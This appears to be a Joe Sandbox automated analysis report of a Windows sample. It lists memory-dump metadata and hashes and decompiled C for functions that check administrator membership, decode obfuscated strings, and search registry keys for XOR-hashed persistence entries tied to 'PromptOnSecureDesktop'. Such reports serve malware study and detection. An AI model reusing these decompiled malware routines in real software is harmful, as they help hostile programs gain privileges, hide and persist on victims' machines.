Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$0t$D$P$PromptOnSecureDesktop$\$Mt
API String ID: 2089075347-3963311112
Opcode ID: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction ID: 8eb9ea6afe9ee9197cc0e6cd2b03883a1bab6226c4cfd690aa98a93bf3167ae2
Opcode Fuzzy Hash: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction Fuzzy Hash: 275291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00419E82, Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 521
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vswprintf.LIBCMTD ref: 00419EA1

Part of subcall function 0041B490: __vsprintf_l.LIBCMTD ref: 0041B4A3

_putc.LIBCMTD ref: 00419EA8

Part of subcall function 0041B0C0: __invalid_parameter.LIBCMTD ref: 0041B14D

__wrename.LIBCMTD ref: 00419EAF

Part of subcall function 0041B070: __dosmaperr.LIBCMTD ref: 0041B0A4

_atexit.LIBCMTD ref: 00419EB5

Part of subcall function 0041AE00: __atof_l.LIBCMTD ref: 0041AE0B

_malloc.LIBCMTD ref: 00419EC7
_realloc.LIBCMTD ref: 00419ECE

Part of subcall function 0041AB50: __realloc_dbg.LIBCMTD ref: 0041AB64

_ferror.LIBCMTD ref: 00419ED4

Part of subcall function 0041AAD0: __invalid_parameter.LIBCMTD ref: 0041AB2A

Part of subcall function 0041AAB0: __wcstoi64.LIBCMTD ref: 0041AABD

_memset.LIBCMT ref: 0041A301

Strings

cbH, xrefs: 0041A1C2

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: __invalid_parameter$__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_malloc_memset_putc_realloc
String ID: cbH
API String ID: 408336251-2585554156
Opcode ID: c48461a9719b664134a27001e66ddb5521f97eba0a83891c6c25963d0781652c
Instruction ID: 5172dd91e3c17878873b874b0d6caf2937c57dab56cffab95a94cd4ca8e93a24
Opcode Fuzzy Hash: c48461a9719b664134a27001e66ddb5521f97eba0a83891c6c25963d0781652c
Instruction Fuzzy Hash: D4F1EC76142565BBD315ABA1AE4CDDF3EACEF4E395B004429F24AE1070CB384645CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 00406EDD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00406EDD() {
				int _v8;
				void* _v12;
				short _v16;
				struct _SID_IDENTIFIER_AUTHORITY _v20;
				signed int _t12;
				int _t15;
				int* _t16;

				_t12 =  *0x412048; // 0x1
				if(_t12 < 0) {
					_v20.Value = 0;
					_v16 = 0x500;
					_t15 = AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
					_v8 = _t15;
					if(_t15 != 0) {
						_t6 =  &_v8; // 0x40702a
						_t16 = _t6;
						__imp__CheckTokenMembership(0, _v12, _t16);
						if(_t16 != 0) {
							 *0x412048 = 0 | _v8 == 0x00000000;
						}
						FreeSid(_v12);
					}
					_t12 =  *0x412048; // 0x1
					if(_t12 != 0) {
						_t12 = E00406E36(0x12, 0); // executed
						 *0x412048 = _t12;
					}
				}
				return _t12;
			}

0x00406ee0
0x00406eed
0x00406f06
0x00406f09
0x00406f0f
0x00406f15
0x00406f1a
0x00406f1c
0x00406f1c
0x00406f24
0x00406f2c
0x00406f36
0x00406f36
0x00406f3e
0x00406f3e
0x00406f44
0x00406f4b
0x00406f50
0x00406f57
0x00406f57
0x00406f4b
0x00406f5e

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00406F0F
CheckTokenMembership.ADVAPI32(00000000,?,*p@), ref: 00406F24
FreeSid.ADVAPI32(?), ref: 00406F3E

Strings

*p@, xrefs: 00406F1C, 00406F1F

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID: *p@
API String ID: 3429775523-2474123842
Opcode ID: 0a69dbeda0d4a5e9697027706ead212625e9f8fcf1c47752efd156d30f81919c
Instruction ID: a55d58a6849641b9de595c9770ce5785232f8714219103e6702645194e06a02f
Opcode Fuzzy Hash: 0a69dbeda0d4a5e9697027706ead212625e9f8fcf1c47752efd156d30f81919c
Instruction Fuzzy Hash: 6701E571904209AFDB10DFE4ED85AAE7BB8F708304F50847AE606E2191D7745A54CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00401820, Relevance: 3.1, APIs: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00401820(intOrPtr* _a4, intOrPtr* _a8) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _t17;
				intOrPtr _t20;
				intOrPtr _t22;
				intOrPtr _t25;
				void* _t41;
				intOrPtr _t42;

				_v8 = 0;
				_v12 = 0;
				_t17 = E00401000();
				if(_t17 > 0) {
					_t20 =  *0x413940(GetCurrentProcess(), 8,  &_v8);
					if(_t20 >= 0) {
						_t22 =  *0x413954(_v8, 0x12,  &_v16, 4,  &_v12, _t41); // executed
						_t42 = _t22;
						 *0x41393c(_v8);
						if(_t42 >= 0) {
							_t25 = _v16;
							if(_t25 == 3) {
								return 1;
							} else {
								 *_a8 = 0x20c;
								 *_a4 = _t25;
								return 0;
							}
						} else {
							 *_a8 = 0x20b;
							 *_a4 = _t42;
							return 0;
						}
					} else {
						 *_a8 = 0x20a;
						 *_a4 = _t20;
						return 0;
					}
				} else {
					 *_a8 = 0x201;
					 *_a4 = _t17;
					return 0;
				}
			}

0x00401826
0x0040182d
0x00401834
0x0040183b
0x0040185e
0x00401866
0x0040188d
0x00401893
0x00401899
0x004018a1
0x004018b8
0x004018be
0x004018de
0x004018c0
0x004018c6
0x004018cc
0x004018d4
0x004018d4
0x004018a3
0x004018a9
0x004018af
0x004018b7
0x004018b7
0x00401868
0x0040186e
0x00401874
0x0040187b
0x0040187b
0x0040183d
0x00401843
0x00401849
0x00401850
0x00401850

APIs

Part of subcall function 00401000: LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012

GetCurrentProcess.KERNEL32(00000008,00000000,00409646), ref: 00401857

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CurrentLibraryLoadProcess
String ID:
API String ID: 2934848855-0
Opcode ID: d3bf04374683254a7ff9582ff7bb8df82db05eb60da1d0487f63262ac05645c4
Instruction ID: ff152fe7df6283169b44c0841219fe648ae006778000c8fb05779bb95ac2d07b
Opcode Fuzzy Hash: d3bf04374683254a7ff9582ff7bb8df82db05eb60da1d0487f63262ac05645c4
Instruction Fuzzy Hash: 8B215476A0120CAFDB01DFA4D844BE9B7B8EB49315F10C1A5ED08DB350D775DA40CB84

Uniqueness

Uniqueness Score: -1.00%

Function 004073FF, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E004073FF(void* __ecx, intOrPtr* _a4, signed int* _a8, int** _a12, char* _a16, char* _a20) {
				CHAR* _v8;
				void* _v12;
				int _v16;
				void* _v20;
				int* _v24;
				char* _v28;
				intOrPtr _v32;
				int _v36;
				char _v295;
				char _v296;
				char _v556;
				void _v592;
				intOrPtr* _t85;
				int** _t86;
				char* _t87;
				char* _t88;
				intOrPtr _t89;
				char* _t91;
				long _t92;
				signed int _t93;
				long _t97;
				signed int _t103;
				long _t107;
				char* _t118;
				intOrPtr* _t119;
				CHAR* _t123;
				void* _t125;
				char* _t127;
				intOrPtr* _t134;
				void* _t136;
				intOrPtr _t137;
				signed int* _t146;
				int** _t147;
				void* _t160;
				signed int _t163;
				intOrPtr _t164;
				void* _t165;
				intOrPtr _t167;
				intOrPtr _t172;
				intOrPtr* _t173;
				void* _t186;
				intOrPtr _t187;
				int* _t188;
				void* _t190;
				void* _t191;
				char* _t192;
				signed int _t194;
				int* _t196;
				void* _t202;
				void* _t203;
				void* _t204;
				void* _t206;

				_t165 = __ecx;
				_t85 = _a8;
				_t188 = 0;
				_v16 = 0x104;
				if(_t85 != 0) {
					 *_t85 = 0;
				}
				_t86 = _a12;
				if(_t86 != _t188) {
					 *_t86 = _t188;
				}
				_t87 = _a16;
				if(_t87 != _t188) {
					 *_t87 = 0;
				}
				_t88 = _a20;
				if(_t88 != _t188) {
					 *_t88 = 0; // executed
				}
				_t89 = E00406DC2(_t165); // executed
				_v32 = _t89;
				_t160 = 0xe4;
				_t91 = E00402544(0x4122f8, 0x4106e8, 0x22, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t92 = RegOpenKeyExA(0x80000002, _t91, _t188, 0x20119,  &_v20); // executed
				_push(0x100);
				_push(_t188);
				_push(0x4122f8);
				if(_t92 != 0) {
					_t93 = E0040EE2A(_t165);
					goto L66;
				} else {
					E0040EE2A(_t165);
					_t206 = _t204 + 0xc;
					_push(_v16);
					_push( &_v556);
					_v24 = _t188;
					_push(_t188);
					while(1) {
						_t97 = RegEnumKeyA(_v20, ??, ??, ??); // executed
						if(_t97 != 0) {
							break;
						}
						if(E00406CAD( &_v556) == 0) {
							L41:
							_v24 =  &(_v24[0]);
							_push(0x104);
							_v16 = 0x104;
							_push( &_v556);
							_push(_v24);
							continue;
						}
						_t103 = E0040F1A5( &_v556);
						_pop(_t167);
						if((_t103 ^ 0x61616161) != _v32) {
							goto L41;
						}
						_v12 = _t188;
						_v16 = 0x104;
						_t107 = RegOpenKeyExA(_v20,  &_v556, _t188, 0x101,  &_v12);
						if(_t107 != _t188) {
							L45:
							if(_t107 != 5) {
								L50:
								E0040EE2A(_t167, 0x4122f8, _t188, 0x100);
								_t206 = _t206 + 0xc;
								L39:
								if(_v12 != _t188) {
									RegCloseKey(_v12);
								}
								goto L41;
							}
							E0040EF00(_a16,  &_v556);
							if(_v12 != _t188) {
								RegCloseKey(_v12);
							}
							_push(4);
							_pop(0);
							L64:
							RegCloseKey(_v20);
							return 0;
						}
						_t118 = E00402544(0x4122f8, 0x4106dc, 0xa, _t160, 0xc8);
						_t206 = _t206 + 0x14;
						_t107 = RegQueryValueExA(_v12, _t118, _t188,  &_v36,  &_v296,  &_v16);
						if(_t107 != _t188) {
							goto L45;
						}
						_t119 =  &_v556;
						_t186 = _t119 + 1;
						do {
							_t167 =  *_t119;
							_t119 = _t119 + 1;
						} while (_t167 != 0);
						if(_v16 <= _t119 - _t186) {
							goto L50;
						}
						_t123 = E0040EE95( &_v296,  &_v556);
						_pop(_t167);
						_v8 = _t123;
						if(_t123 == _t188) {
							goto L50;
						}
						_t125 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						_t206 = _t206 + 0x1c;
						if(_t125 == 0) {
							_t188 = 0;
							goto L50;
						}
						if(_v296 != 0x22) {
							_t127 = E0040ED03( &_v296, 0x20);
							_pop(_t167);
						} else {
							E0040EF00( &_v296,  &_v295);
							_t127 = E0040ED03( &_v296, 0x22);
							_t206 = _t206 + 0x10;
						}
						if(_t127 != 0) {
							 *_t127 = 0;
						}
						_v8 = E0040EE95( &_v296,  &_v556);
						_v28 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						E0040EE2A(_t167, 0x4122f8, 0, 0x100);
						_t134 = _a4;
						_t206 = _t206 + 0x30;
						_t190 = _t134 + 1;
						do {
							_t172 =  *_t134;
							_t134 = _t134 + 1;
						} while (_t172 != 0);
						_t173 = _v8;
						_t191 = _t134 - _t190;
						_t43 = _t173 + 1; // 0x1
						_t136 = _t43;
						do {
							_t187 =  *_t173;
							_t173 = _t173 + 1;
						} while (_t187 != 0);
						_t174 = _t173 - _t136;
						if(_t191 <= _t173 - _t136 || E0040ED77(_t191 - _t174 + _a4, _v8) != 0) {
							_t192 = _v28;
							 *_t192 = 0;
							_t137 = E0040ED23(_v8, 0x5c);
							_v8 = _t137;
							if(_t137 != 0) {
								_v8 = _v8 + 1;
							} else {
								_v8 =  &_v296;
							}
							if(E00406CAD(_v8) == 0) {
								 *_t192 = 0x2e;
								goto L38;
							} else {
								_t194 = E0040F1A5(_v8) ^ 0x61616161;
								_t163 = _t194 >> 0x00000008 & 0x000000ff;
								 *_v28 = 0x2e;
								if(E00406C96(_t194) != 0) {
									L37:
									_t160 = 0xe4;
									L38:
									_t188 = 0;
									goto L39;
								}
								_t56 = _t163 - 0x51; // -81
								if(_t56 > 0x2e || (_t194 & 0x000000ff) >= 0x10) {
									goto L37;
								} else {
									_t196 = 0;
									if(GetFileAttributesExA( &_v296, 0,  &_v592) != 0) {
										_t196 = 1;
									}
									_t146 = _a8;
									if(_t146 != 0) {
										 *_t146 = _t163;
									}
									_t164 = _a16;
									if(_t164 != 0) {
										_t202 = _v8 -  &_v296;
										E0040EE08(_t164,  &_v296, _t202);
										 *((char*)(_t202 + _t164)) = 0;
									}
									if(_a20 != 0) {
										E0040EF00(_a20, _v8);
									}
									_t147 = _a12;
									if(_t147 != 0) {
										 *_t147 = _t196;
									}
									_push(3);
									_pop(0);
									goto L63;
								}
							}
						} else {
							E0040EF00(_a16,  &_v556);
							L63:
							RegCloseKey(_v12);
							goto L64;
						}
					}
					_t93 = RegCloseKey(_v20); // executed
					L66:
					return _t93 | 0xffffffff;
				}
			}

0x004073ff
0x00407408
0x0040740e
0x00407410
0x00407419
0x0040741b
0x0040741b
0x0040741d
0x00407422
0x00407424
0x00407424
0x00407426
0x0040742b
0x0040742d
0x0040742d
0x00407430
0x00407435
0x00407437
0x00407437
0x0040743a
0x0040743f
0x00407451
0x00407464
0x00407469
0x00407472
0x00407478
0x0040747d
0x0040747e
0x00407481
0x004077f9
0x00000000
0x00407487
0x00407487
0x0040748c
0x0040748f
0x00407498
0x00407499
0x0040749c
0x00407703
0x00407706
0x0040770e
0x00000000
0x00000000
0x004074b1
0x004076ed
0x004076ed
0x004076f5
0x004076f6
0x004076ff
0x00407700
0x00000000
0x00407700
0x004074be
0x004074c8
0x004074cc
0x00000000
0x00000000
0x004074e6
0x004074e9
0x004074f0
0x004074f8
0x00407727
0x0040772a
0x00407755
0x0040775c
0x00407761
0x004076df
0x004076e2
0x004076e7
0x004076e7
0x00000000
0x004076e2
0x00407736
0x00407740
0x00407745
0x00407745
0x0040774b
0x0040774d
0x004077ec
0x004077ef
0x00000000
0x004077f5
0x0040751c
0x00407521
0x00407528
0x00407530
0x00000000
0x00000000
0x00407536
0x0040753c
0x0040753f
0x0040753f
0x00407541
0x00407542
0x0040754b
0x00000000
0x00000000
0x0040755f
0x00407565
0x00407566
0x0040756b
0x00000000
0x00000000
0x00407589
0x0040758e
0x00407593
0x00407753
0x00000000
0x00407753
0x004075a0
0x004075d1
0x004075d7
0x004075a2
0x004075b0
0x004075be
0x004075c3
0x004075c3
0x004075da
0x004075dc
0x004075dc
0x004075fc
0x00407615
0x00407618
0x0040761d
0x00407620
0x00407623
0x00407626
0x00407626
0x00407628
0x00407629
0x0040762d
0x00407632
0x00407634
0x00407634
0x00407637
0x00407637
0x00407639
0x0040763a
0x0040763e
0x00407642
0x0040765c
0x00407664
0x00407667
0x0040766e
0x00407673
0x00407680
0x00407675
0x0040767b
0x0040767b
0x0040768e
0x00407722
0x00000000
0x00407694
0x004076a1
0x004076ad
0x004076b3
0x004076bf
0x004076d8
0x004076d8
0x004076dd
0x004076dd
0x00000000
0x004076dd
0x004076c1
0x004076c7
0x00000000
0x0040777e
0x00407785
0x00407797
0x00407799
0x00407799
0x0040779a
0x0040779f
0x004077a1
0x004077a1
0x004077a3
0x004077a8
0x004077b3
0x004077b8
0x004077c0
0x004077c0
0x004077c8
0x004077d0
0x004077d6
0x004077d7
0x004077dc
0x004077de
0x004077de
0x004077e0
0x004077e2
0x00000000
0x004077e2
0x004076c7
0x00407769
0x00407773
0x004077e3
0x004077e6
0x00000000
0x004077e6
0x00407642
0x00407717
0x00407801
0x00000000
0x00407801

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,74E043E0,00000000), ref: 00407472
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00000101,?,?,?,?,?,?,?,74E043E0,00000000), ref: 004074F0
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,74E043E0,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,74E043E0,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.KERNELBASE(00000000,?,?,?,?,?,?,74E043E0,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,74E043E0,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,74E043E0,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.ADVAPI32(?), ref: 004077E6

Strings

", xrefs: 00407599
PromptOnSecureDesktop, xrefs: 0040745E, 00407463, 0040747E, 0040751B, 0040757F, 004075FB, 00407614, 0040775B

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction ID: 7fe5a339a68ccf6b09c70fd716338511db9c3a0a85de510e5ec7ef93542d7acc
Opcode Fuzzy Hash: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction Fuzzy Hash: 10C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1044B7F504B72D1EA78AE908B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040704C, Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 332
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E0040704C(intOrPtr _a4, int _a8, int _a12, int _a16, int* _a20) {
				CHAR* _v8;
				void* _v12;
				char _v16;
				int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				char _v64;
				char _v363;
				char _v364;
				void _v400;
				intOrPtr* _t88;
				int* _t89;
				int* _t90;
				int* _t91;
				char* _t93;
				long _t94;
				signed int _t96;
				signed int _t97;
				long _t99;
				signed int _t107;
				int _t109;
				int _t119;
				int _t121;
				int _t122;
				int _t123;
				signed int _t125;
				int _t130;
				int _t136;
				int _t149;
				int _t155;
				void* _t158;
				void* _t166;
				int _t196;
				int _t202;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t207;

				_t88 = _a8;
				_t167 = 0;
				_v16 = 0x12c;
				_v24 = 0x20;
				_v364 = 0;
				if(_t88 != 0) {
					 *_t88 = 0;
				}
				_t89 = _a12;
				if(_t89 != _t167) {
					 *_t89 = _t167;
				}
				_t90 = _a16;
				if(_t90 != _t167) {
					 *_t90 = _t167;
				}
				_t91 = _a20;
				if(_t91 != _t167) {
					 *_t91 = _t167;
				}
				_t93 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t94 = RegOpenKeyExA(0x80000001, _t93, _t167, 0x101,  &_v12); // executed
				if(_t94 != 0) {
					L21:
					_t96 = E0040EE2A(_t167, 0x4122f8, 0, 0x100) | 0xffffffff;
					goto L22;
				} else {
					_t97 = E00406DC2(_t167);
					_push( &_v16);
					_push( &_v364);
					_push( &_v28);
					_v32 = _t97;
					_push(0);
					_push( &_v24);
					_t167 =  &_v64;
					_push( &_v64);
					_v8 = 0;
					_push(0);
					while(1) {
						_t99 = RegEnumValueA(_v12, ??, ??, ??, ??, ??, ??, ??); // executed
						if(_t99 == 0x103) {
							break;
						}
						__eflags = _t99;
						if(_t99 != 0) {
							L18:
							_t25 =  &_v8;
							 *_t25 =  &(_v8[1]);
							__eflags =  *_t25;
							_push( &_v16);
							_push( &_v364);
							_push( &_v28);
							_push(0);
							_push( &_v24);
							_push( &_v64);
							_push(_v8);
							_v16 = 0x12c;
							_v24 = 0x20;
							continue;
						}
						__eflags = _v24 - _t99;
						if(_v24 <= _t99) {
							goto L18;
						}
						__eflags = _v16 - _t99;
						if(_v16 <= _t99) {
							goto L18;
						}
						__eflags = _v28 - 1;
						if(_v28 != 1) {
							goto L18;
						}
						_t107 = E0040EED1( &_v64, E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8));
						_t206 = _t204 + 0x1c;
						asm("sbb eax, eax");
						_t109 =  ~_t107 + 1;
						__eflags = _t109;
						_v20 = _t109;
						if(_t109 != 0) {
							L23:
							_v8 = E0040EE95( &_v364, E00402544(0x4122f8,  &E0041069C, 4, 0xe4, 0xc8));
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t207 = _t206 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								__eflags = _v364 - 0x22;
								if(_v364 == 0x22) {
									E0040EF00( &_v364,  &_v363);
									_t149 = E0040ED23( &_v364, 0x22);
									_t207 = _t207 + 0x10;
									__eflags = _t149;
									if(_t149 != 0) {
										 *_t149 = 0;
									}
								}
								_t196 = E0040EE95( &_v364, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
								E0040EE2A(_t167, 0x4122f8, 0, 0x100);
								__eflags = _t196;
								if(_t196 != 0) {
									_t119 = E0040ED77( &_v364, _a4);
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t196 = 0;
										_t121 = E0040ED23( &_v364, 0x5c);
										_v8 = _t121;
										__eflags = _t121;
										if(_t121 != 0) {
											_t63 =  &_v8;
											 *_t63 =  &(_v8[1]);
											__eflags =  *_t63;
										} else {
											_v8 =  &_v364;
										}
										_t122 = E00406CAD(_v8);
										__eflags = _t122;
										if(_t122 != 0) {
											asm("popad");
											asm("popad");
											asm("popad");
											asm("popad");
											_push(0x8b00007e);
											asm("lock xor esi, 0x55555555");
											_v16 = 0x4122f8;
											_t166 = 0xad;
											_t123 = E00406C96(0x4122f8);
											__eflags = _t123;
											if(_t123 != 0) {
												L57:
												RegCloseKey(_v12);
												__eflags = _a16;
												if(_a16 != 0) {
													E0040EF00(_a16,  &_v64);
												}
												_t125 = 0;
												__eflags = _v20;
												 *_t196 = 0x2e;
												goto L34;
											}
											__eflags = 0x6d - 0x3f;
											if(0x6d > 0x3f) {
												goto L57;
											}
											__eflags = 0xf8 - 0x10;
											if(0xf8 >= 0x10) {
												goto L57;
											}
											_t202 = _a12;
											 *_t196 = 0x2e;
											__eflags = _t202;
											if(_t202 != 0) {
												_t136 = GetFileAttributesExA( &_v364, 0,  &_v400);
												__eflags = _t136;
												if(_t136 != 0) {
													 *_t202 = 1;
												}
											}
											_t130 = _a8;
											__eflags = _t130;
											if(_t130 != 0) {
												 *_t130 = _t166;
											}
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											__eflags = _a20;
											if(_a20 != 0) {
												E0040EF00(_a20, _v8);
											}
											_t125 = 0;
											__eflags = _v20;
											goto L34;
										} else {
											RegCloseKey(_v12);
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											 *_t196 = 0x2e;
											goto L33;
										}
									}
									RegCloseKey(_v12);
									_t96 = 0;
									goto L22;
								} else {
									RegCloseKey(_v12);
									__eflags = _a16;
									if(_a16 != 0) {
										E0040EF00(_a16,  &_v64);
									}
									L33:
									_t125 = 0;
									__eflags = _v20;
									L34:
									_t96 = (_t125 & 0xffffff00 | __eflags == 0x00000000) + 1;
									L22:
									return _t96;
								}
							}
							RegCloseKey(_v12);
							__eflags = _a16;
							if(_a16 != 0) {
								E0040EF00(_a16,  &_v64);
							}
							_t96 = 1;
							goto L22;
						}
						_t155 = E00406CAD( &_v64);
						_pop(_t167);
						__eflags = _t155;
						if(_t155 == 0) {
							L17:
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t204 = _t206 + 0xc;
							goto L18;
						}
						_t158 = E0040F1A5( &_v64);
						_t167 = _v32 ^ 0x61616161;
						__eflags = _t158 - (_v32 ^ 0x61616161);
						if(_t158 == (_v32 ^ 0x61616161)) {
							goto L23;
						}
						goto L17;
					}
					RegCloseKey(_v12); // executed
					goto L21;
				}
			}

0x00407055
0x00407058
0x0040705a
0x00407061
0x00407068
0x00407071
0x00407073
0x00407073
0x00407075
0x0040707a
0x0040707c
0x0040707c
0x0040707e
0x00407083
0x00407085
0x00407085
0x00407087
0x0040708c
0x0040708e
0x0040708e
0x004070b4
0x004070b9
0x004070c2
0x004070ca
0x004071b8
0x004071c8
0x00000000
0x004070d0
0x004070d0
0x004070d8
0x004070df
0x004070e3
0x004070e4
0x004070e9
0x004070ed
0x004070ee
0x004070f1
0x004070f2
0x004070f5
0x0040719b
0x0040719e
0x004071a9
0x00000000
0x00000000
0x004070fb
0x004070fd
0x0040716e
0x0040716e
0x0040716e
0x0040716e
0x00407174
0x0040717b
0x0040717f
0x00407180
0x00407185
0x00407189
0x0040718a
0x0040718d
0x00407194
0x00000000
0x00407194
0x004070ff
0x00407102
0x00000000
0x00000000
0x00407104
0x00407107
0x00000000
0x00000000
0x00407109
0x0040710d
0x00000000
0x00000000
0x00407123
0x00407128
0x0040712d
0x0040712f
0x0040712f
0x00407130
0x00407133
0x004071d0
0x004071f4
0x004071f7
0x004071fc
0x004071ff
0x00407203
0x00407227
0x0040722e
0x0040723e
0x0040724c
0x00407251
0x00407254
0x00407256
0x00407258
0x00407258
0x00407256
0x00407280
0x00407282
0x0040728a
0x0040728c
0x004072c2
0x004072c9
0x004072cb
0x004072e6
0x004072e8
0x004072ef
0x004072f2
0x004072f4
0x00407301
0x00407301
0x00407301
0x004072f6
0x004072fc
0x004072fc
0x00407307
0x0040730d
0x0040730f
0x00407335
0x00407336
0x00407337
0x00407338
0x00407339
0x0040733e
0x0040734b
0x0040734e
0x00407354
0x0040735b
0x0040735d
0x004073d5
0x004073d8
0x004073de
0x004073e2
0x004073eb
0x004073f1
0x004073f2
0x004073f4
0x004073f7
0x00000000
0x004073f7
0x00407362
0x00407365
0x00000000
0x00000000
0x0040736d
0x00407370
0x00000000
0x00000000
0x00407372
0x00407375
0x0040737a
0x0040737c
0x0040738d
0x00407393
0x00407395
0x00407397
0x00407397
0x00407395
0x0040739d
0x004073a0
0x004073a2
0x004073a4
0x004073a4
0x004073a6
0x004073a9
0x004073b2
0x004073b8
0x004073b9
0x004073bc
0x004073c4
0x004073ca
0x004073cb
0x004073cd
0x00000000
0x00407311
0x00407314
0x0040731a
0x0040731d
0x00407326
0x0040732c
0x0040732d
0x00000000
0x0040732d
0x0040730f
0x004072d0
0x004072d6
0x00000000
0x0040728e
0x00407291
0x00407297
0x0040729a
0x004072a3
0x004072a9
0x004072aa
0x004072aa
0x004072ac
0x004072af
0x004072b2
0x004071cb
0x004071cf
0x004071cf
0x0040728c
0x00407208
0x0040720e
0x00407212
0x0040721b
0x00407221
0x00407224
0x00000000
0x00407224
0x0040713d
0x00407142
0x00407143
0x00407145
0x0040715e
0x00407166
0x0040716b
0x00000000
0x0040716b
0x0040714b
0x00407154
0x0040715a
0x0040715c
0x00000000
0x00000000
0x00000000
0x0040715c
0x004071b2
0x00000000
0x004071b2

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000101,Ct,?,74E043E0,00000000), ref: 004070C2
RegEnumValueA.KERNELBASE(Ct,00000000,?,?,00000000,?,?,?), ref: 0040719E
RegCloseKey.KERNELBASE(?,?,74E043E0,00000000), ref: 004071B2
RegCloseKey.ADVAPI32(?), ref: 00407208
RegCloseKey.ADVAPI32(?), ref: 00407291
___ascii_stricmp.LIBCMT ref: 004072C2
